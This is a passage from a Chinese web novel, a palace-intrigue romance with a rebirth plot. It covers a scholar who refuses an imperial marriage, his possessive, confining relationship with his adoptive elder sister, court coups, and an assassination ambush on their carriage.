皇上纵使暮年昏聩,终究是一国之君,身上帝王威仪仍在,此刻他周身寒意笼罩,沉沉压落下来,令人不禁两股战战,胆颤心惊。 季珣抬袖拜道:“皇上,君子重诺,草民心有所属,并且许下承诺此生非她不娶,倘若如今却毁诺娶了旁人,岂非成了背信弃义的小人?” 席上众人瞧着这一幕,无不替季珣暗捏一把冷汗,这个小子还真是胆大妄为,竟然敢顶撞皇上,要知道皇上随口一句话,便能让他从青云之巅跌落到无底深渊,届时,恐怕连性命都难以保住。 就连岑墨,亦是满心震颤。 他从未听说过,季珣有什么私定终身的心上人,这话莫不是他诓骗皇上的吧? 没想到季珣竟然如此胆大包天,竟然敢拒绝皇上的赐婚,岑墨扪心自问,倘若今日换成是他,定然不敢拒绝,想到这,他突然觉得有些羞愧。 晋文帝冷笑一声,语气冰寒刺骨,“照你这话的意思,朕若是非要逼你娶明珠公主,反倒是害你成了背信弃义的小人了?” 季珣沉声道:“皇上,草民并非此意,只是婚姻之事,讲究的乃是情投意合,在下早有心上人,况且又是一介寒门之身,如何配得上金尊玉贵的公主殿下?还望皇上收回成命。” 见状,三皇子对坐在晋文帝身侧的贵妃娘娘,也就是他的母妃王姣,使了个眼色。 王姣便压低了声线,用只有两人才能够听得清楚的声音道:“皇上,依臣妾看,这个季珣他确实配不上婉婉,婉婉性情娇纵,而这个季珣却一身傲骨,两人相处定难和睦,实非良配,皇上你还是收回成命 吧,莫要好心办了坏事,反倒促成一双怨偶。” 闻言,晋文帝叹了口气,“罢了,既然你不愿,那这指婚也就算了吧,快起来吧。” “多谢皇上。”季珣伏首谢恩。 席间很快又恢复了热闹,似乎方才的一切都没有发生过,没过多久,皇上便借口累了,摆驾回宫去了,皇上一走,众人便也不再那么拘束,宴席上觥筹交错,笑语盈盈,好不热闹。 角落里,六皇子秦彰望着眼前这一幕,眸中神情晦涩不明。 他不明白,为何这一世,和从前不一样了? 前世,秦彰历经千辛万苦,才在季珣的鼎力相助下,夺得了帝位,然而,他这个皇帝却做得形同傀儡,并无实权,朝堂大小事皆要听季珣决断,满朝文武更是唯季珣马首是瞻,眼里压根就没有他这个皇上,他卧薪尝胆、隐忍蛰伏多年,才总算铲除了心腹之患季珣,却没有想到,一睁开眼,便重回到了宫中,这个时候,他还是六皇子,不受父皇重视,生母早逝,无人问津。 秦彰自然是满心愤慨,他刚夺回皇权,还没有体会到大权在握的滋味,便回到了人生中最落魄的时刻。 更令他心惊的是,这一世,许多事情都和前世不一样了。 他明明记得,前世季珣并未投靠三皇子,也没有赐婚一事,为何这一世,却脱离了前世的轨迹。 他极为了解季珣,少年冷心冷情,压根无心男女情爱,倘若说他和一女子许下白首之约,那他是绝对不相信的。 秦彰心中隐隐有些慌乱,他感觉有什么东西,似乎脱离了他的掌控,令他感到极为不安。 这时候,脑海突然冒出了一个可怕的念头。 难道,季珣和他一样,也重生了? 倘若当真如此,季珣这辈子,定然不会再选择辅助他,并且还会帮着秦煜一起来对付他。 想到这,烈阳高照下,秦彰却蓦地打了个冷颤,周身寒意遍布。 一直到宴席快要结束,明珠公主秦婉才姗姗来迟,这一路上,众人都在讨论季珣当众拒婚一事。 “真是没想到,季珣竟然如此胆大,连皇上赐婚也敢拒绝!” “俗话说,娶妻娶贤,明珠公主虽然是金枝玉叶,却素有跋扈之名,这刁蛮公主可不是好惹的,说不定季珣就是因为这个原因才拒绝赐婚。” “季珣生了一副好皮囊,那日状元游街后,京城不知多少女郎的心都被他勾了去,真是让人好生羡慕!” …… 秦婉听着周遭的议论声,面色难看极了。 什么郎艳独绝的状元郎,竟然敢当众拒婚,让她面上无光,从来只有她拒绝别人的份,还从没人能够拒绝她! 想到这,秦婉拦住一个小丫鬟的去路,怒气冲冲道:“状元郎何在?” 小丫鬟吓得脸色大变,连忙战战兢兢道:“回公主殿下,状元郎…他应该还未离去,众人里头生得最俊的那个,就是他。” 秦婉点点头,气势汹汹走了进去。 宴席早就已经结束了,众人也陆陆续续的离去了,唯有几个喝醉之人,醉醺醺的趴在桌子上说着胡话。 秦婉目光扫了一圈,最终定格在一位身穿雪青色衣袍的年轻男子身上。 男子眉目清隽,容色温雅,他似乎喝醉了酒,眸中漾着点点迷蒙水雾,端的是郎艳独绝,风采冠绝。 长得确实是她喜欢的模样。 不过—— 想到此人竟然当众拒婚,让她沦为朝堂笑柄,秦婉顿时怒上心头,她大步上前,一把揪住少年衣襟,冷笑道:“你就是今科状元,依本公主看,也不过尔尔!” 林遇愣了愣。 他今日饮了酒,意识尚有些混沌,眼前骤然闯入一抹艳色,只见一个穿着金线绣百蝶穿花襦裙,姿容妍丽的女郎,正俏脸含怒,揪着他的衣襟。 两人距离被迫拉近,她身上馥郁的香气丝丝缕缕蔓延开来,钻入鼻息。 这女郎衣着华贵,双眸顾盼间流光溢彩,朱唇皓齿,整个人明艳不可方物。 林遇酒意顿消,瞬间猜出了眼前之人的身份,他蹙了蹙眉,正色道:“公主殿下,你认错人了,男女授受不亲,此举不合礼法,还请殿下松手。” 第64章 第64章 阿姐分明也是爱着他的 秦婉两道细眉蹙起, “认错人?难不成你不是今科状元?” “自然不是。”林遇摇了摇头,“回公主殿下,草民林遇, 乃是今科探花。” “哦?你是探花?”秦婉松了手, 往后退了半步,将林遇从上到下扫视了一圈,那眼神就像是在打量货物一般, 挑剔而又毫不客气。 得知自己弄错了, 她的脸上也并未有任何愧疚之色,只是面无表情的“哦”了一声, “那今科状元呢,他去哪里了?” 林遇怔了怔, 他长这么大以来, 见过的女子皆是温婉端庄、恪守礼教, 这般率性妄为的女子, 却是头一回遇见。 他收回思绪, 温声道:“公主殿下,宴席早已结束,季兄他早就已经离开了。” 秦婉点了点头,转身便要离开,见状,林遇突然开口唤住她,“公主殿下。” 秦婉回头, 神色有些不耐。 林遇躬身一礼,嗓音分外温和,“公主殿下,季兄他心有所属, 拒婚一事,亦是无可奈何,还望殿下不要怪罪。” 明珠公主气势汹汹,显然正是因为季珣当众拒婚一事,要去找他算账。 林遇明知自己不该多管闲事,却还是忍不住开口唤住了明珠公主。 他和季珣毕竟同窗数载,曾经也是知己好友,对于季珣毁坏姜姑娘婚事,将其囚在府中一事,他心中亦是不赞同,然而,念及旧日情分,他终究是无法坐视不理,便开口试图化解眼前这场风波。 秦婉眸光意味不明地望着眼前俊美清隽的少年,嗓音清凌凌的,“哦?你这话意思是说,本公主在无理取闹了?” 她乃是当今皇上最宠爱的公主,放眼整个皇城,还从未有人敢置喙她行事,这个林遇,不过一个小小的探花郎,还真是好大的胆子。 “微臣并非此意。”林遇拱了拱手,姿态恭谨,“公主乃是天皇贵胄,金枝玉叶,胸襟旷达,定然不会与一介寒门子弟置气计较,如此一来,反倒有损公主殿下的气度风华。” 听得此言,秦婉凤眸微弯,面上露出几分玩味笑意,这个林遇,还真是可笑,以为这样说她就会不会计较了吗? 她勾了勾唇,笑靥如花,“哦?可怎么办呢?”她拖长了音调,嗓音轻灵悦耳,“本公主偏生就没有那等容人雅量,我素来睚眦必报,可是记仇得很呢!” 林遇面色一窒,被噎得哑口无言。 瞧见他这副模样,秦婉蓦地“噗嗤”一声笑了,眸中似有光华流转,方才堆积在胸臆间的那股子怒气,顷刻间便烟消云散了。 季珣当众拒婚一事,自然也传到了姜芸薇的耳中。 她吓得心惊肉跳,季珣当真是疯了,竟然连皇上的赐婚都敢拒绝,这可是砍头的大罪啊。 可惊惧之余,心底又涌起几分说不清道不明的复杂情绪。 她实在想不通,阿珣为何这般偏执,缘何就认定了她?她不过是个无父无母的孤女,既无倾城之姿,亦无显赫出身,究竟是哪里,入了他的眼? * 自从季珣高中状元以后,登门拜访者便络绎不绝,方文远又往府上添了几个小厮丫鬟,偌大的府邸,这才总算是有了几分人气,逐渐热闹起来。 季珣向来不喜欢这些虚与委蛇的应酬,方文远这个管家便寻了由头,将那些人一一打发了去。 季珣被授翰林院修撰一职,这段时日,每日忙得脚不沾地,然而,不管他回来的多晚,总会将熟睡的姜芸薇揽入怀中。 姜芸薇好几次半夜醒来,都能够感受到身后的人,遒劲有力的臂膀紧紧揽着她纤细的腰肢,力道大的似乎要将她嵌入骨血。 姜芸薇心中酸涩,自从季珣将她困在此处后,她便日日刻意躲避着他,两人一整日下来,都很难说上几句话,昔日亲密无间的姐弟,如今却走到了今日这般地步。 亥时,姜芸薇刚要睡下,突然听到外面传来一阵闹哄哄的声响。 她蹙了蹙眉,翻身坐起,恰在此时,碧荷推开门,嗓音发颤,满面惊慌,“夫人,不好了,奴婢听闻公子他受重伤了……” 姜芸薇闻言,浑身的血液骤然凝住了,大脑中一片空白,她连鞋子都顾不上穿,便往屋外跑去。 碧荷见状,连忙着急地在后头追赶,“夫人,你的鞋子!” 姜芸薇充耳不闻,脚下步子又急又乱,她刚走了两步,便迎面直直撞入一个温热宽阔的胸腔中。 “阿姐。”季珣闷哼一声,将人揽入怀中,他的嗓音带着几分 低哑的笑意,“这么急匆匆的做什么?” 他目光扫过身后跟着的碧荷,视线这才落在姜芸薇光裸的脚踝上,春日夜里寒凉,青石板地面浸着寒气,这般光着脚,极容易着凉。 季珣眉峰几不可察地蹙了蹙,“怎么连鞋子也不穿?当心着凉。” 姜芸薇从他怀中挣开,目光急切地落在他身上。 季珣今日穿着一身黑色的衣袍,几乎与漆黑的夜色融为一体,姜芸薇却眼尖地瞧见他右边胸膛处的衣料,比其他地方颜色更深些,那一片濡湿的暗痕,显然是被鲜血浸透了。 姜芸薇被那痕迹刺痛了双目,“阿珣,你受伤了,严不严重?” 闻言,季珣这才知晓,原来阿姐连鞋子都顾不上穿,就急急忙忙从屋内跑出来,是因为得知他受伤,关心他的伤势。 季珣突然觉得心口像是被什么轻轻撞了一下,他情不自禁地俯下身,覆上她柔软的唇瓣,舌尖尝到一点甘甜的滋味,像是含了一糖霜,从唇腔一路漫过心口。 阿姐分明也是爱着他的。 哪怕这份情谊,只有姐弟之间的骨肉亲情,他也认了。 只要能够一辈子和阿姐在一起,他就已经知足了。 “阿珣,你别这样。”姜芸薇红着脸将他推开,她心中惦记着他的伤势,便也没有在意他当着丫鬟的面亲吻她的事情了,“给我看看你的伤势。” 碧荷手中拎着姜芸薇的绣鞋,红着脸垂头立在一旁。 季珣走上前,从碧荷手中接过绣鞋,淡淡吩咐,“你先下去吧。” 碧荷颔首,悄无声息地退下了,临走时,还不忘将屋门掩上。 …… 季珣温声道:“阿姐,我的伤不碍事,我先帮你把鞋子穿上。” 姜芸薇面上泛起红霞,低着头小声道:“不必,我自己来穿就好了。” 季珣却像是没有听见一般,在她面前缓缓蹲下身子。 姜芸薇面色一变,下意识地往后退了一步,就连脚趾都颇为不自在地蜷缩起来,“阿珣,别这样,你如今可是状元郎,有官在身,岂可纡尊降贵,为女子穿鞋?” 季珣抬头一笑,“能有幸服侍阿姐,我很高兴。” 姜芸薇脑海中轰的一声炸开,就连耳后根都红透了,这样成何体统…… 她愣神的工夫,季珣已经伸手捉住了她的足踝,他的手掌宽厚温热,指腹带着薄薄的一层茧,偶尔不经意间擦过她细腻的皮肤,引得她一阵瑟缩战栗,却被季珣大掌牢牢扣住。 季珣小心翼翼地替她穿上绣鞋,他的动作极轻,姿态虔诚而又温柔。 姜芸薇心跳如擂鼓,眼神躲闪着不敢看他,季珣方才指尖触碰过的地方,仿佛还残留着炙热的温度,烫得她心尖发颤。 待到两只绣鞋都穿好了,他这才满意地站起身,目光灼灼地望着她,“阿姐,真没想到,你这般关心我。” 闻言,姜芸薇立马想起正事,急忙道:“阿珣,快给我看看你的伤势如何,可上过药了?” 季珣极为享受她关心自己的这种感觉,不由得寸进尺道:“还没有,这么晚了,恐怕寻不来大夫,不如阿姐给我上药可好?” 说着,他缓缓将外衫褪下。 季珣里面穿着一件月白色的中衣,此刻胸膛处早就已经被鲜血染红了一大片,看上去分外可怖。 姜芸薇呼吸一窒,心口有些发酸,流了这么多血,他竟然还这般面不改色的,甚至还有闲心帮她穿绣鞋,这人不怕痛的吗? 血液干涸黏连着衣衫,姜芸薇不敢用力撕扯,只好转身寻来了一把剪子,她凑近,小心翼翼的将他伤口处的衣襟一点点剪开。 她凑的太近,季珣能够看到她纤长的睫毛,正轻轻颤动着。 季珣胸腔处的伤口似乎是被刀剑之类的锐器所伤,约莫三寸来长,伤口狰狞,皮肉外翻,触目惊心。 姜芸薇眼圈瞬间红了,她自小在乡野长大,见过最严重的伤势,也不过只是摔了磕碰了,还从未见过这样血肉模糊、令人触目惊心的伤口。 她吸了吸鼻子,压下眼眶的湿意,用帕子将他身上的血渍一点点擦去,继而,她取来止血的金疮药,将药粉慢慢洒在伤口处。 最后,她取来纱布,缠在他腰腹处的伤口上,动作间,手指不可避免地触碰到他腰间健硕硬朗的肌肉,姜芸薇手中动作一顿,紧接着,又若无其事的将伤口缓缓包扎好。 烛火昏黄,将两人交缠的影子倒映在墙上。 待到伤口包扎好后,姜芸薇这才涩声问道:“阿珣,究竟是谁伤了你?” 第65章 第65章 见不得光的外室 “阿姐, 你是在担心我吗?”季珣一双眼睛亮晶晶的,视线紧紧黏在她身上。 姜芸薇避开他灼灼的目光,抿唇不语。 季珣低笑一声, 正色道:“今日宫中出了事情, 太子意图逼宫谋反,事败被擒,如今已经被关进宗人府了。” 闻言, 姜芸薇顿时心惊肉跳, 逼宫谋反那可是了不得的大事,哪怕季珣语气轻描淡写, 姜芸薇也能够想象的出来,今日的情形定然是凶险万分。 她虽然并不了解朝堂之事, 却也知晓皇宫之中, 充斥着明枪暗箭, 勾心斗角, 乃是个杀人不见血的地方, 她心中不禁有些担忧,季珣身处其中,会不会卷入这些波诡云谲的争斗之中,惹祸上身? 然而,姜芸薇不知晓的是,今日的这一场宫变,正是季珣和三皇子薛煜联手促成的, 为得便是彻底扳倒太子一党,令其再无翻身之日,只要太子党一除,三皇子自然成了皇位最炙手可热的人选。 姜芸薇点了点头, 沉默不语。 朝堂之事,她并不了解,自然也不知该说些什么。 想了想后,她忍不住叮嘱道:“阿珣,你这伤势不轻,等到了明日,还是得去找个大夫看看。” “多谢阿姐关心,我知晓了。”季珣唇角漾开一抹笑容,软声道。 两人一时都没有再说话,屋内安静的只能够听到烛火燃烧时,发出的细微“噼啪”声。 想起两人如今关系,姜芸薇有些不自在,她抬起眼帘,刚想要说些什么,视线落在季珣身上,顿时一怔。 她这才后知后觉的反应过来,季珣如今还未穿上衣服。 许是常年不见日光,他的肌肤生得极白,在摇曳烛火下泛着一层潋滟的柔光,他虽然看着清瘦,然而几次接触下来,姜芸薇早就知晓,他胸腔宽阔硬朗,臂膀坚实,蕴含着蓬勃的力量。 姜芸薇看得脸热,连忙飞快移开视线,讷讷道:“阿珣,我先去沐浴了。” 方才她撞入季珣怀中,衣裙上也沾染了他身上的血迹。 看着她仓惶离去的背影,季珣唇角轻扬。 或许就连姜芸薇自己都不曾察觉到,她如今早就已经不再纯粹的将他当成弟弟看待了。 而是一个男人。 * 今日的皇宫之中,发生了这般大事,注定一夜不得安宁。 虽然太子已经伏法,然而宫中依旧凝着沉冷的肃杀之气,众人皆屏气凝神,战战兢兢,不敢多言,生怕惹祸上身。 永和宫地处皇宫西北隅,宫墙深冷,门庭寥落,住的皆是些失宠无势的皇子,薛彰便居于此地。 今日发生了这么大的事情,他自然也有所耳闻。 前世,太子并未在这个时候逼宫谋反,一切果然和前世不一样了。 秦彰知晓,太子之所以会铤而走险谋反,这一切都是秦煜和季珣在背后推波助澜。 季珣果真重生了。 想到这里,秦彰眸底寒意毕露。 如今季珣还不知晓他也重生了,必须在季珣对他动手之前,占得先机,先下手为强。 临近清明,朝堂之中休沐七日,柳溪村距离京城路途遥远,季珣和姜芸薇无法回乡祭祖,便在正厅设案遥祭,以寄哀思。 待到祭拜过后,姜芸薇低垂眼帘,嗓音轻柔,“阿珣,你先出去吧,我想单独和母亲说几句话。” 季珣目光在她面上停留一瞬,似乎想说些什么,却终究还是一言未发,转身走了出去。 厅中一时间只剩下姜芸薇一人,她望着案台上明灭的香火,和声道:“母亲,阿珣他如今已经高中状元,前程似锦,相信你在天有灵,也能安息了。” 她叹了口气,伸手捻起一叠纸钱,将其置入燃烧着的铜盆之中,火光映亮她紧蹙着的眉眼,她嗓音带了几分颤意,“母亲,可是阿珣他……他竟然对我有了那般心思,虽然我并非他的亲姐姐,没有血缘关系,然而多年姐弟情分尚在,此举终究是有违礼教、有悖人伦。” 姜芸薇凝望着铜盆中燃烧成灰的纸钱,面露彷徨之色,她心头沉沉,似压了块千钧重石,“娘,你在天有灵,便教教我,究竟该怎么做才好……” 大约过了半个时辰,姜芸薇才步出正厅,她刚走了两步,便瞧见季珣正站在门口不远,似乎正在等她。 姜芸薇心头重重一跳,他竟然还未离开,也不知道方才她说的那番话,是不是都被他给听了去。 季珣扫过姜芸薇泛红的眼尾,眸光倏地一黯。 阿姐又哭过了。 她和母亲一样,将那些世俗规矩看得太重,礼教纲常,半点不肯逾矩。 偏生性子又软,好欺负得很,活像个没脾气的面人儿,任人捏圆搓扁。 可季珣心里清楚,在某些事情上,阿姐又极为固执,一旦触到她心里那道线,以阿姐外柔内刚的性子,指不定会做出什么事情来,所以这些时日,纵然将阿姐困在这方寸之地,他却始终不敢雷池一步。 他害怕阿姐恨他,更害怕看到她伤心的样子。 原来这就是尘世间的爱情,有快乐甜蜜的时刻,也有肝肠寸断痛不欲生的时候,他从未想过有朝一日,他会变得这样患得患失,忐忑不安。 姜芸薇已走至近前,季珣收回思绪,笑道:“阿姐,清明有踏青习俗,今日天气这般好,不如我们出去走走吧?” 望着他若无其事的模样,姜芸薇眸中翻涌着复杂的情绪,埋怨,痛苦,还有几分说不清道不明的无奈,她唇瓣轻启,嗓音轻柔,却如匕首般字字戳人心窝,“阿珣,你高中状元,如今乃是京官了,倘若在外碰到同僚,你又该如何介绍我?是你的长姐?还是你囚于府中、见不得光的外室?” 此言一出,季珣眸中的光亮倏然寂灭,心口像是被钝刀子慢慢碾磨,钝痛一点点蔓延开来, 他蓦地一把握住姜芸薇的手,力道极大,令人难以挣脱,“阿姐说笑了,你既是我的阿姐,又是我季珣此生唯一的妻子,何来外室一说?” 他目光灼灼的凝视着姜芸薇,嗓音轻缓却坚定,掷地有声:“倘若阿姐怨我未曾三书六礼,明媒正娶,那我便为你办一场风光的婚仪,让京中所有人都知道,你是我季珣名正言顺的妻!” 姜芸薇心尖陡然一颤,她瞪大了眼,不可思议的望着他。 季珣莫不是疯了不成? 他们两人怎么能成亲,倘若让旁人知晓了他们之间的关系,季珣这个新科状元,定要被天下人在背后戳脊梁骨,一世都抬不起头来。 姜芸薇心慌意乱,她垂着头不敢看他,“你莫要胡说了,我随你去踏青就是了。” * 四月山色青翠宜人,街上香车宝马迤逦,皆是往城外踏春祭祖的人家。 姜芸薇怕被人认出来,头上戴了一顶月白色的帷帽,她今日穿着一身湖青色的衫子,行走间纱幔与裙摆随风拂动,飘然若仙,清丽淡雅。 季珣走在她身侧,两人沿着湖边缓步而行。 两旁柳树枝条低垂,在微风中摇曳,小娘子们三三两两拿着纸鸢,在岸边奔跑玩耍,笑声如银铃般清脆悦耳,四下里皆是踏青的人,分外鲜活热闹。 看着这般景致,姜芸薇心底的沉郁如烟雾般袅袅散去,心情也轻快了不少。 岑墨考上进士后,原本以为能够出人头地,熟料最终却只被授六部主事一职,主要负责衙署的一些杂务,官阶低微,而且没有半点实权,那些世家子弟,门第显赫,自然依旧不将他放在眼里。 心上人不知所踪,仕途又这般失意,双重打击之下,岑墨心情郁郁,便趁着休沐之日,外出踏春。 他一眼便瞧见了人群之中的季珣,以及他身侧的女子。 岑墨呆愣了一下,季珣素来性子冷清,也没听说过他有什么心上人啊? 这女子虽然戴着帷帽,然而,岑墨越看那道身影,越觉得分外的熟悉。 紧接着,他的心中陡然冒出一个猜测,难道这女子是…… 岑墨这些日子已经将无数个身形相似的女子错认为姜芸薇,眼下不禁有些忐忑,害怕自己再次认错了人,空欢喜一场。 踌躇良久后,岑墨几步上前,先笑着和季珣打了个招呼,“季兄。” 瞧见岑墨,季珣面上的笑意瞬间淡了,神色有些冷凝,“岑公子。” 闻言,岑墨心中不禁悄然萌生几分难堪之意,他看得出来,季珣并不喜欢他这个姐夫,从前岑墨尚且能够从容应对,然而如今,季珣已经是名满天下的状元郎,是从六品的翰林院修撰,是天子近臣,皇上甚至有意将公主许配给他。 这个时候,自己上前与他打招呼寒暄,季珣是否会将他视作那等刻意攀附巴结的小人?然而事已至此,他也顾不得那么多了。 岑墨压下心头翻涌着的复杂心绪,抬目看向他身侧的女子,“季兄,这位女子是?” 季珣面上重新露出笑意,他一把握住身侧女子的手,嗓音多了几分柔情缱绻之意,“是我的心上人。” 第66章 第 66 章 我想要回柳溪村生活 姜芸薇面色一变, 怎么偏偏这么巧,遇上了岑遇?幸好她今日带了帷帽,看不到面容。 然而, 她的心中不禁还是有些紧张, 就连掌心都沁出了一层薄汗,生怕被岑墨认出来。 正在这时候,季珣倏地握住她的手, 语声缠绵, “是我的心上人。” 闻言,姜芸薇浑身霎时僵住。 察觉到她的僵硬, 季珣甚至故意在她柔嫩的掌心轻轻挠了两下,像是蚂蚁缓缓爬过, 泛起一阵异样酥麻感。 姜芸薇气恼, 用力掐了一把他的掌心。 季珣吃痛, 轻哼了一声。 岑墨:“季兄, 怎么了?” 姜芸薇浑身一紧, 一颗心如同被风扯动的风筝线般,高高扬起,又骤然重重坠下。 季珣唇角含笑,“没事,兴许是被什么小虫咬了一口。” 季珣竟然将她比作小虫,两人当着岑墨的面,这般举止暧昧, 实在是不妥,姜芸薇脸红的像是快要滴血,幸好有帷帽遮挡,这才看不出来。 她慌忙想要抽回自己的手, 察觉到她的意图,季珣掌心力道骤然收紧,如同铁钳般牢牢禁锢着她,压根撼不动半分。 琼林宴上,皇上赐婚之时,季珣便以有心上人为由拒绝,岑墨当时还以为季珣只是胡诌的,没想到,竟然还当真有这样一个女子。 岑墨唇角勉强挤出一抹笑容,“既然是季兄的心上人,那我就不打扰你们了。” 他原本便没有抱什么希望,这些时日,他在街头遇到过许多身形和姜芸薇相似的女子,然而每次等他怀揣着希望追上前去,看清对方面容时,满心的期待瞬间落空。 姜芸薇就像是凭空消失了一般,再也寻不到踪迹。 他这些日子想了很久,说不定姜芸薇是被歹人劫走了,她一个弱女子,陷入贼窝,定然是清白不保,想到这,岑墨便觉心痛如绞,然而,只要姜芸薇能够完好无损的回来,哪怕她再非完璧之身,他也定然不会嫌弃于她。 看着岑墨失魂落魄的背影,姜芸薇心中不禁涌起几分愧疚感。 岑墨对她一片真心,倘若不是季珣横插一脚,说不定两人如今早就已经成婚了。 握着她手腕的大掌力道猝然加重了几分,与此同时,身侧传来一道幽冷的嗓音,“阿姐,别看了,人都已经走远 了。” 姜芸薇蹙了蹙眉,她这才扭头看向季珣,“阿珣,你方才为何如此,本就是我们两人,先有愧于岑公子……” 季珣语气冷冽的打断她,“阿姐,我不喜欢从你口中听到别的男子的名字。” 姜芸薇在心中无奈叹了口气,索性闭口不言。 两人也没有再继续踏春的心情,便乘坐马车回府。 姜芸薇上了马车后,便摘下了帷帽,坐在角落不语。 她刻意坐得离季珣极远,上了马车后,更是看也不看他一眼。 阿姐在与他置气,因为那个岑遇。 想到这,季珣心头戾气陡生,胸腔怒火翻涌,不断吞噬着他的理智。 纵使她动手打骂、他都甘之如饴,只唯独受不了她这般冷落。 季珣上前,拉近了两人之间的距离,马车之中本就逼仄,他身形如同巍峨大山一般,俯身倾覆下来,将角落里娇小玲珑的姜芸薇彻底笼罩其中。 姜芸薇下意识的想要往后退,然而后背便是车壁,她已经是退无可退。 “阿姐。”季珣将她抱起,坐在自己的腿上,手紧揽着她纤细的腰肢。 “这样成何体统。”姜芸薇耳尖都红透了,连忙拼命挣扎起来。 季珣胸腔上的伤口还未彻底痊愈,她这般挪动挣扎,许是碰到了伤处,季珣不由闷哼一声。 姜芸薇顿时如同被点了穴道般,僵住不动了。 “阿姐。”季珣大掌扣住她的下颌,迫不及待地吻上她的唇。 姜芸薇的舌头很软,季珣如同饿狼一般,吮吸着那两片花瓣般饱满柔润的唇瓣,他的攻势带着不容抗拒的强势,挤入她的舌腔深处,不知疲倦的舔舐吮吸,像是要将她身上每一寸气息都汲取、占有,再吞吃入腹,令人毫无招架之力。 姜芸薇浑身发软,幸好季珣结实的手臂紧箍着她的腰肢,她身子这才没有往下滑。 寂静的马车内,一时间只能够听到亲吻时发出的渍渍水声。 姜芸薇心提到了嗓子眼,马车外面都是人,会不会有人听到里面的动静,会不会突然有人打开车帘,瞧见这一幕…… 察觉到姜芸薇的心不在焉,季珣在她唇上不轻不重地咬了一口。 姜芸薇吃痛,轻轻“嘶”了一声。 季珣身子往后仰,看着姜芸薇被亲得殷红的嘴唇,他心中漾起一阵愉悦的满足感,“阿姐,你很紧张害怕?” 他能够感觉出来,姜芸薇身体的僵硬。 姜芸薇还有些气息不稳,她有些恼怒地瞪向季珣,身子扭动起来,“阿珣,放我下来。” “阿姐,你莫要再乱动了。” 季珣呼吸骤然变得粗重了几分,嗓音低哑。 姜芸薇隐约意识到了什么,面上顿时泛起红霞,她僵着身子,不敢乱动,生怕季珣再做出什么别的更过分的事情。 她低垂着臻首,露出一节纤细莹白的脖颈,那如凝脂般的肌肤上,此刻冒出细细密密的汗珠,汗珠顺着她修长的颈背蜿蜒滑落,悄然没入衣襟深处。 季珣口干舌燥,心里像是点了一把火,热腾腾的烧了起来。 好想要彻底占有她,与她融为一体。 让她身上每一寸气息都沾染上他的味道,这样便不会再有不长眼的男人胆敢觊觎她了。 马车一路向前疾驰,车厢内安静了下来。 过了许久后,姜芸薇突然嗓音很轻的开口道:“阿珣,我想要回柳溪村生活。” 此言一出,箍着她腰肢的手臂骤然一紧。 季珣没有回答,姜芸薇却能够感觉到,他周身的气压陡然间冷沉了下来。 季珣将她摁向自己怀中,令两人身体紧贴在一起,他若无其事笑道:“好呀,那我和阿姐一起回去。” 姜芸薇叹了口气,半晌未言。 其实这个念头由来已久,当初她来京城,也是为了陪季珣参加春闱考试,如今季珣已经金榜题名,她也没有再继续留下来的理由了。 京城虽然繁华,然而,姜芸薇却只觉得心中窒闷得发慌,如今再也不用为了生计发愁,她已经许久没有再做过绣活了。 这段时间,她时常忆起往昔,从前为了赚钱养家,她和季母一针一线地缝制绣品,日子虽然清苦,倒也过得踏实安稳。而如今身居京城,再也不用为了柴米油盐殚精竭虑,甚至还有了丫鬟贴身伺候,然而,她却觉得脚底落不到实处,一切都像是空中阁楼般,虚无缥缈,遥不可及。 她并未因为和季珣置气,才想要回柳溪村,而是发自内心的觉得自己并不属于京城。 这些日子,她想了很久,如今才总算鼓起勇气说了出来。 这番话说出口后,姜芸薇压在心底多日的巨石倏然消散,整个人都顿感轻松。 她面色平静开口道:“阿珣,我和你不同,我本就不属于这繁华的京城,而你如今金榜题名,圣眷正浓,若是此时回去,岂不是前功尽弃?” 季珣将头埋在她的颈边,嗓音低沉喑哑,“阿姐,你知道的,我从来不在乎这些,我从始至终想要的,只有阿姐你一个。” 他口中呼出的热息,喷洒在姜芸薇的脖颈处,泛起一阵细微的痒意,她不由得瑟缩了一下身子。 姜芸薇正欲说些什么,马车骤然急刹,一阵剧烈的颠簸猛地袭来。 她猝不及防,身子由于惯性,直直向前摔去。 季珣反应迅疾,长臂一伸,将她揽入怀中。 他后脑和脊背撞在身后的车壁上,发出重重的一声“咚”响,而姜芸薇被他严严实实护着,并未伤着分毫。 两人还未稳住身形,马车外便传来兵器相击发出的清脆声响。 季珣眸色冷沉,他掀开车帘朝外看去,只见数十名黑衣刺客正拦在马车前,与奉了三皇子秦煜之命,暗中跟在季珣身旁保护他的护卫缠斗在一起。 那些护卫显然并不是这些训练有素的刺客的对手,车夫早已经倒在血泊之中,没了声息。 数支冷箭挟裹着凛冽的杀气破空而来,钉在他们面前的车厢木板上。 姜芸薇何曾见过这阵仗,吓得面色发白。 季珣眸色冷沉,他从腰间抽出一柄锋利软剑,周身杀意弥漫,“阿姐,你先待在马车内,千万别出来。” “阿珣!”姜芸薇想要阻止他,然而少年已经头也不回地出了马车。 一股巨大的恐慌席卷心头,她从未有一刻这么害怕过,满心惶惶,忐忑不安,生怕季珣出了什么意外,再也回不来。 季珣挥动手中的软剑,剑影翻飞,将如雨般的箭矢悉数挡下。 他纵身跃上车辕,一手攥紧缰绳,另一手取出身上携带的匕首,狠狠扎在马脖子上。 马儿吃痛发狂,扬蹄发疯似的向前奔去,正缠斗的众人受惊,纷纷避让开来。 马车如疾风般绝尘而去,见状,那些黑衣刺客立即紧追不舍,弯弓搭弦,无数冷箭接连不断地射向马车,马车车厢摇摇欲坠。 季珣扬声,“阿姐,快出来。” 姜芸薇不敢耽搁,连忙掀开车帘,自马车中跃出。 季珣反应迅疾如电,一把攥住她的手腕,将她拉至自己身前的马背上,将她牢牢护在怀中,隔绝开身后的危险。 第67章 第67章 阿珣,要死我们一起死 耳边风声呼啸, 刮得脸颊生疼,姜芸薇一颗心突突直跳,似乎要撞开胸膛破体而出, 背上冷汗早已浸透了衣衫, 黏腻的贴在身上。 利箭破空声响不绝于耳,不时有箭矢擦着衣袂飞掠而过,姜芸薇心惊肉跳, 腿骨早就被颠簸得酸痛发麻, 她却连大气都不敢喘一下。 马儿疯了般一路狂奔,竟直直朝着一处断崖奔去, 季珣见状,当机立断抱着姜芸薇弃马朝旁边地面扑去, 两人身子顺着山崖边的矮坡滚落在地。 粗粝的沙石硌着脊背, 泛起一阵尖锐细密的刺痛, 季珣喉间溢出一声低哑的闷哼, 额间沁出了冷汗, 臂弯却依旧死死地护着怀中人,半点未松。 姜芸薇被他紧揽在怀中,身上毫发无伤,她挣扎着爬起来,声音中含着难以掩饰的惊惶和担忧,“阿珣,你没事吧?” 季珣苦笑一声, “阿姐,是我不好,此番连累了你。” 